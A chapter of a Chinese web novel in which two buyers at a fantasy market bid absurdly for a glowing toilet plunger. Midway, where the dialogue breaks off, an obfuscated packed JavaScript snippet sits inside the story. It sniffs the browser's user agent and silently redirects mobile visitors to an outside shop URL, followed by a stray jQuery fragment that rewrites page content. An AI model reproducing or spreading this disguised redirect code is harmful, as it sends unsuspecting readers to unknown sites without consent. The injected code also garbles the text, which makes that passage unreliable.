有人真想买,闻灼反倒有点没底,下意识回头看向逢空。
逢空冲她比了个一。
闻灼试探着伸出手指,“一千锚点币?”
那人眉头一皱,把马桶搋子放了回去:“算了,我再看看。”
刚围过来的几个人见状,也陆陆续续散开了。
闻灼肩膀一下垮了:“太贵了吗?”
她叹了口气,把马桶搋子重新摆正,人群后面传来急切的声音。
“让一下,麻烦让一下,”
一个中年女人逆着人流往这边走,她穿着件洗得发白的灰色棉睡衣,袖口还套着两个忘了摘下来的袖套,头发胡乱扎着,眼下一圈浓重的青黑。
女人虽在人流里,但身体始终往后缩着,别人肩膀刚擦过来一点,她就立刻偏开。
她一路挤到摊位前,一边看一边不停点头,嘴里还小声念叨着:“就是它,终于找到了……”
女人把那个泛着幽蓝光的马桶搋子拿了起来。
闻灼条件反射护了一下,“别急,明码——”
“一千锚点币。”
这下轮到闻灼不知所措了。
“卖不卖?”女人握着搋子的手没有松开的意思。
闻灼忍不住问:“那个……方便问一下吗?您买它干什么?”
女人咬着指甲:“为了凑齐,为了圆满。”
闻灼眨了眨眼:“哈?”
“你不懂。”
女人神经质地搓着手,搓得手背红彤彤一片,“我有洁癖,每天晚上睡觉以前,我都要把家里的马桶刷三遍。”
“少一遍我都觉得没刷干净,到处是看不见的细菌。”
“可那都是现实世界的事情,跟入暮有什么关系?”围观的人有些费解。
“因为我的绑定随身物是一台马桶。”女人小心翼翼捧出一个巴掌大的迷你马桶。
那马桶白得发亮,釉面几乎能当镜子用,连冲水按钮都被擦得反光。靠近一点,还能闻到柠檬清洁剂的味道。
女人打开马桶,马桶圈上罩着一层一次性防尘套,马桶内壁光可鉴人,连一滴水渍都没有。
闻灼一下就理解了,认真点头:“那确实很需要。”
“不对啊。”旁边有人探头看了一眼,“你这不是全自动智能马桶吗?”
那迷你马桶外形圆滚滚的,从侧面看像个电饭煲,盖子边缘还有一圈会呼吸似的柔和蓝光。
“对啊,都全自动了还需要自己刷吗?”闻灼的思维又被带了回来。
女人一脸理所当然,“全自动是它的事,刷不刷是我的事。”
众人:“……”
闻灼:“确实,每个人都有自己的习惯。”
“马桶刷我有了,洁厕灵我也有了,就差它了。”
“没有它,我的卫浴净化阵列就不完整,我总觉得下水道里有什么东西,晚上根本睡不好。”
闻灼顿时肃然起敬,“原来是刚需。”
“那您拿走,一千锚点币,祝您睡个好觉。”
“谢谢!谢谢!”女人立刻划开房卡准备付款。
“等等。”
一只手横过来,轻轻压住了洁癖姐正准备付款的房卡。
“你想做什么?”女人瞬间炸了,整个人绷得笔直,“这是我先拿到的!”
“别急。”来人喘着气摆摆手,“我可以加钱,也可以补偿你。”
“我不要补偿!”
“那……至少让我先确认一下。”
女人还想说什么。
“来都来了?”
闻灼没想到会在这里碰到她:“来都来了!”话刚出口,她想起之前闹过的乌龙,自己先乐了。
来都来了顾不上寒暄,低头就从口袋里掏出一块巴掌大的罗盘。
她嘴里念念有词,顺着罗盘指针一步一步挪到摊位前。指针轻轻一颤停在那个泛着幽蓝光的马桶搋子上。
来都来了低头看看罗盘,又看看搋子,反复确认了两遍。
“Oh~”
悠长的咏叹在市集里荡开,周围不少人都被她这一嗓子吸引。
来都来了像是收藏家误入废品站,却在最不起眼的角落发现了一件失落已久的孤品。
“这粗粝的质感,这野蛮的生命力,这对精致生活当头一棒的冲击感……”她越说越激动,双手在半空来回比划,“还有这毫不掩饰的丑陋!太完美了!”
闻灼听得一愣一愣,她说的还是这个皮搋子吗?
洁癖姐忍不住打断她:“这只是一个马桶搋子。”
“我要把它带回去。”来都来了郑重宣布,“放进我的藏品室,摆在最中间,再罩一个水晶罩,让所有来参观的人第一眼就能看见它,你开个价吧。”
旁边洁癖姐抱着自己的袖子急得直跺脚:“这是我先看上的,我卫浴净化阵列就差最后这一件!你不能抢!”
“收藏品和工具没有可比性。”来都来了摇摇头。
“它值得通马桶!”
“它值得作为展品!”
“它值得通马桶!”
两个人谁也说服不了谁,声音一声高过一声。
来都来了像是完全没察觉自己已经把人逼急了,倒是她身后的两人默默往前站了一步,高个马尾女没什么表情,只是站在那里就莫名带着一股压迫感;稍矮一点的短发女同样沉默,目光平静地扫过四周,把洁癖姐原本快冲出去的气势硬生生挡了回来。
洁癖姐嘴唇抿了抿,到底没敢再往前凑,只站在原地瞪着来都来了。
角落里观望的逢空轻轻“啊”了一声,“是熟人。”
上次见面,盆满钵满还举着康宁锅当金钟罩,今天没锅了,人倒还是那个站法。
她正想着,就听见来都来了对着身后两人挥手:“大师说西边有宝,有旧物出土之象……我把西边那几个噩梦翻了个底朝天,连块砖都没捡着,原来西边指的是市集,这东西我要拿下。”
西边有宝……旧物出土……
逢空眼皮跳了一下,“不会吧。”
她想起了天利利地利利,难不成回旋镖飞了一圈最后扎回到自己身上了?
“这种回旋镖可以多来。”逢空口罩往上提了提,心安理得地后退一步。
闻灼的摊位前还在争吵,洁癖姐脸都绿了:“谁会供这个?!”
“它上面全是细菌,我是买回去刷马桶的,我是为了干净!”
“庸俗。”来都来了痛心疾首地摇头,“你根本不懂艺术。”
“它经历过岁月,承载过故事,每一道磨损都是时间留下的痕迹。这样的作品,应该放进展示柜,而不是放进卫生间。”
“它本来就是卫生间出来的!”洁癖姐破防了,“一千五,我出一千五,我买回去先消毒,再摆到马桶旁边!”
“那个……”闻灼想要说点什么,但根本没有插嘴的机会。
“消毒?”来都来了捂着胸口,一脸难以置信,“你居然要洗掉它的包浆?”
她毫不犹豫抬价。
“两千。”
“那个……这是噩梦掉落,不是古董。”闻灼趁洁癖姐心痛之际急忙说道,“那只是它造型的一部分。”
“两千五!”洁癖姐攥着袖套,“为了我的卫浴阵列,我今天拼了!”
“五千。”
来都来了眼睛都没眨一下。
洁癖姐沉默了,“你是不是有病?”
“那就是个破搋子!六千!这是我全部家当了!求你了,我只想凑个整齐,我受不了缺一个角的卫浴间!”
闻灼站在旁边已经看傻了,她第一次见有人为了一个马桶搋子,喊价喊出了拍卖会的气势。
来都来了伸手摸向自己的口袋。她拿出一张印着翅膀纹样的卡片,轻轻放到摊位上。
“一万锚点币。”
“再加一张入暮山庄全境公交年卡。”
“非噩梦期间,飞艇、幽灵马车不限次数,所有区域都能坐。”
“包括后山。”
原本还只是围观的人群顿时倒吸了一口凉气。
洁癖姐抱着自己的袖套,半天没说出话。
她看看那张锚点卡,又看看那一张年卡,嘴唇动了动,最后还是把手放了下来。
“我的卫浴套装就差最后这一件……少一个,我每天都会觉得不完整……”
来都来了这才把目光从马桶搋子上移开,第一次认真看了她一眼。
“哦
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17729904|207227||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。”
她点点头,像是理解对方为什么一直跟自己竞价。
“原来你也是收藏家。”
“……不是收藏!”洁癖姐差点炸毛,“我是要用!”
“都一样。”来都来了从袖子里又摸出一张印着翅膀图案的卡递过去。
“补偿。”
来都来了:“我不喜欢抢别人心头好。可惜今天,它也是我的心头好。”
“既然总有人要遗憾,那至少别让你空手回去。”
一张公交年卡其实远远抵不上她心里的那个马桶搋子。
可那也是两千锚点币才能办下来的东西。
洁癖姐沉默了一会儿,最后说服了自己,吸了吸鼻子,把年卡接了过去。
“马桶搋子我不要了,少一个……就少一个吧。”
闻灼听得都有点于心不忍。
来都来了满意地点点头,目光从马桶搋子上移开,开始巡视其他摊位上的东西上,一边看,一边还在梦呓似的点评。
随着她转身,身后扎着利落马尾的女人上前一步付款,“麻烦清点一下。”
短发女人展开一块白布,把那个散发着幽幽蓝光的马桶搋子仔仔细细包了起来,全程没有多说一句话。
来都来了走出两步,又忍不住低头看了看手里的罗盘,嘴里碎碎念着。
“西边有宝,旧物出土果然准。”
“虽然那个大师说话神神叨叨的,但水平是真不错。”
她越念越高兴,带着自己的新藏品慢悠悠往外走。
人走远了,闻灼还是觉得有点恍惚,她们刚才真的用一个马桶搋子换回来一万锚点币。
围观的人群也慢慢散开,还有人一步三回头,不停打量那个已经被白布包好的马桶搋子,像是在怀疑自己刚才是不是见证了一场幻觉。
洁癖姐捏着那张年卡混进人群里,肩膀却始终耷拉着,嘴里还在小声念叨。
“差一个……”
“还是差一个……”
闻灼看着她失魂落魄的背影,心里有点不是滋味。
“那个……”她喊了一声。
“姐。”
洁癖姐回过头。
“我能问一下吗?”闻灼有点纳闷,“你为什么不去女娃商店买个马桶搋子?”
“买了啊!”洁癖姐提起这事就崩溃,“根本抢不到!”
“女娃商店每天刚补货,三秒就没了,我连续蹲了十七天,一次都没抢到!”
“这么夸张吗?”闻灼半信半疑。
她翻了翻自己的行李箱,摸出一个崭新的马桶搋子。木柄光滑,橡胶头圆润,还贴着没撕掉的标签。
【马桶搋子,售价:288锚点币】
标签右下角还印着一个小小的【女娃商店】徽记。
“这个你要吗?”闻灼不太确定地晃了晃。
洁癖姐这次学聪明了,先飞快划过去一千锚点币,“卖我!”
“等等等等,多了!”闻灼赶紧把多给的退了回去。
“这个原价就是二百八十八。”
洁癖姐眉头一点一点皱起来,“不行,二百八十八,我看着难受。”
她又转了十二锚点币过去,“三百,整数。”
闻灼欲言又止,最后还是点点头,把交易确认了。
“终于齐了……”洁癖姐脚步都轻快了不少,她抱着自己的新成员,高高兴兴地走了。
闻灼望着她离开的背影,也跟着笑了。
“空空姐,两个马桶搋子,赚了一万多!”
逢空慢吞吞走过来,摘下口罩折好收进口袋,“你哪来这么多马桶搋子?”
闻灼挠挠头,“之前在女娃商店又买了一个。”
“你买这个干嘛?”
“我怕它孤独,就给它买了个朋友作伴。”
“……”
逢空有很多话想说。
比如有没有必要给马桶搋子找朋友。
比如闻灼脑子里一天到晚到底都在想些什么。
可话到了嘴边,她又想起闻灼靠两个马桶搋子赚回来的一万锚点币。
算了。
能赚钱的马桶搋子就是好马桶搋子。
“走了。”